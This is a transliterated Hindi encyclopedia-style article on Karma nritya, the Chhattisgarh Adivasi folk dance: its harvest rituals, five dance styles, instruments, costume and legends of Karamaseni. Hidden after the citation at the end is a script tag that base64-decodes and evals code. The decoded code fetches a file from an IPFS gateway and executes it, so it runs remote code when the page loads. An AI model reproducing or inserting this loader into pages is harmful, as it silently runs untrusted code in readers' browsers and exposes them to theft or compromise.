कर्मा नृत्य
thumb|250px|karma nrity karma nrity chhattisagadh aanchal ke adivasi samaj ka prachalit lok nrity hai. bhadoan mas ki ekadashi ko upavas ke pashchath karamavriksh ki shakha ko ghar ke aangan ya chaugan mean ropit kiya jata hai. doosare din kul devata ko navann samarpit karane ke bad hi usaka upabhog shuroo hota hai. karma nrity nee fasal ane ki khushi mean kiya jata hai.
sanskriti ka pratik
yah nrity chhattisagadh ki lok-sanskriti ka paryay hai. chhattisagadh ke adivasi, gair-adivasi sabhi ka yah lok maangalik nrity hai. karma nrity, satapu da aur viandhy ki parvat shreniyoan ke bich sudoor gramoan mean bhi prachalit hai. shahadol, mandala ke goand aur baiga tatha balaghat aur sivani ke korakoo aur paradhan jatiyaan karma ke hi kee roopoan ko nachati haian. baiga karma, goan d karma aur bhuaniyaan karma adijatiy nrity mana jata hai. chhattisagadh ke ek lok nrity mean 'karamaseni devi' ka avatar goand ke ghar mean mana gaya hai, doosare git mean ghasiya ke ghar mana gaya hai.[1]
nrity ke prakar
yoan to karma nrity ki anek shailiyaan haian, lekin chhattisagadh mean paanch shailiyaan prachalit haian, jisamean jhoomar, lang da, thadha, lahaki aur khemata haian. jo nrity jhoom-jhoom kar nacha jata hai, use 'jhoomar' kahate haian. ek pair jhukakar gaya jane val nrity 'lang da' hai. laharate hue karane vale nrity ko 'lahaki' aur kh de hokar kiya jane vala nrity 'thadha' kahalata hai. age-pichhe pair rakhakar, kamar lachakakar kiya jane vala nrity 'khemata' hai. khushi ki bat hai ki chhattisagadh ka har git isamean samahit ho jata hai.
karma nrity mean stri-purush sabhi bhag lete haian. yah varsha rritu ko chho dakar sabhi rrituoan mean nacha jata hai. saraguja ke sitapur ke tahasil, rayagadh ke jashapur aur dharamajayagadh ke adivasi is nrity ko sal mean sirf char din nachate haian. ekadashi karma nrity navakhaee ke upalakshy mean putr ki prapti, putr ke lie mangal kamana; athee namak karma nrity kvaanr mean bhaee-bahan ke prem sanbandh; dashee namak karma nrity aur dipavali ke din karma nrity yuvak-yuvatiyoan ke prem se sarabor hota hai.[1]
vastr tatha vadyayantr
karma nrity mean maandar aur jhaanjh-manjira pramukh vadyayantr haian. isake alava timaki dhol, mohari adi ka bhi prayog hota hai. karma nartak mayoor pankh ka jhal pahanata hai, pag di mean mayoor pankh ke kaan di ka jhaladar kalagi khoansata hai. rupaya, sutail, bahuanta or karadhani jaise abhooshan pahanata hai. kalee mean choora, aur baanh mean bahuta pahane hue yuvak ki kalaiyoan aur kohaniyoan ka jhool nrity ki lay mean b da sundar lagata hai. is nrity mean sangit yojanabaddh hoti hai. rag ke anuroop hi is nrity ki shailiyaan badalati hai. isamean gita ke tek, samooh gan ke roop mean padaant mean gooanjate rahata hai. padoan mean eeshvar ki stuti se lekar shrriangar parak git hote haian. maandar aur jhaanjh ki lay-tal par nartak lachak-lachak kar bhaanvar lagate, hilate-dulate, jhukate-uthate huye vrittakar nrity karate haian.
upavas
karma ki manauti manane vala din bhar upavas rakhata hai aur apane sage-sambandhiyoan aur p dosiyoan ko nyota deta hai. sham ke samay karma vriksh ki pooja kar tangiye ke ek hi var se dal ko kata jata hai, use zamin mean girane nahian diya jata. us dal ko akhara mean ga dakar stri-purush rat bhar nrity karate haian aur subah use nadi mean visarjit kar dete haian. is avasar par git bhi gaye jate haian-
uth uth karamaseni pahi gis vihan ho,
chal chal jabo ab ganga asanaand ho.
kianvadantiyaan
karma nrity ke sath kee kianvadantiyaan bhi ju di huee haian. kee log is nrity ki adhishthatri devi 'karamaseni' ko manate haian, to kee log vishvakarma ko isaka aradhy devata manate haian. adhikaansh log isaki katha raja karm se jo date haian, jisane vipatti se chhutakara pane par is nrity ka ayojan kiya tha. yah nrity samooche chhattisagadh mean manauti ke roop mean manaya jata hai. d aau. baldev ne is nrity ke bare mean yah likha hai ki- "chhattisagadh ke log karmavir haian. krishi kary ki saphalata ke bad upayukt avasar par yah nrity kiya jata hai. age chalakar 'karm' shabd ki bhavanatmak satta apane lokavyapi svaroop ke karan mithak mean roopaantarit ho gee. karma ka pratik 'karma vriksh' ko aur usaki aradhy devi karamaseni ko man liya gaya ho. tajjub nahian yah karamaseni koee karmashila nari hi rahi hogi, jisake lokopakari gun ne use devi ke roop mean pratishthit kar diya aur vah lokavishvas sanbal pakar kisi mithakiy kahani ki nayika banakar avatarit ho gee."[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 kesharavani, ashvini. chhattisagadh ke lokanrity (hindi) (ech.ti.em.el.). . abhigaman tithi: 12 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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